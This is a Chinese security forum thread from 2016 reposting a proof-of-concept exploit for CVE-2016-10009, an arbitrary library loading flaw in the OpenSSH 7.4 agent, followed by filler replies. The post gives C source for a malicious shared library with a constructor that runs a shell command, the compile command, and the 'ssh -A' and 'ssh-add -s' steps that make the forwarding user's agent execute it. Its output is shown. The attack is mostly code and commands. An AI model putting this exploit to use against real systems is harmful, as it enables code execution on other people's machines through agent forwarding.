90_ 发表于 2016-12-25 14:41:44

OpenSSH 7.4代理协议任意库加载漏洞

CVE-2016-10009

$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
// in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
// prevent recursion through system()
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");
system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall

Connect to another machine using "ssh -A". Then, on the remote machine:

$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11:
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so

At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:

$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]

H.U.C-麦麦 发表于 2016-12-25 15:28:39

谢谢楼主的分享

asion 发表于 2016-12-25 15:34:10

我是来水经验的……

admin1964 发表于 2016-12-25 16:28:13

谢谢楼主的分享

若冰 发表于 2016-12-25 17:00:45

谢谢楼主的分享

wilist 发表于 2016-12-25 18:27:50

我是来水经验的……

wilist 发表于 2016-12-25 18:44:04

wanmznh 发表于 2016-12-25 20:20:25

我是来水经验的……

54hacker 发表于 2016-12-25 21:41:57

我是来水经验的……

菜鸟小羽 发表于 2016-12-25 22:08:43

我是来水经验的……
页: [1]
查看完整版本: OpenSSH 7.4代理协议任意库加载漏洞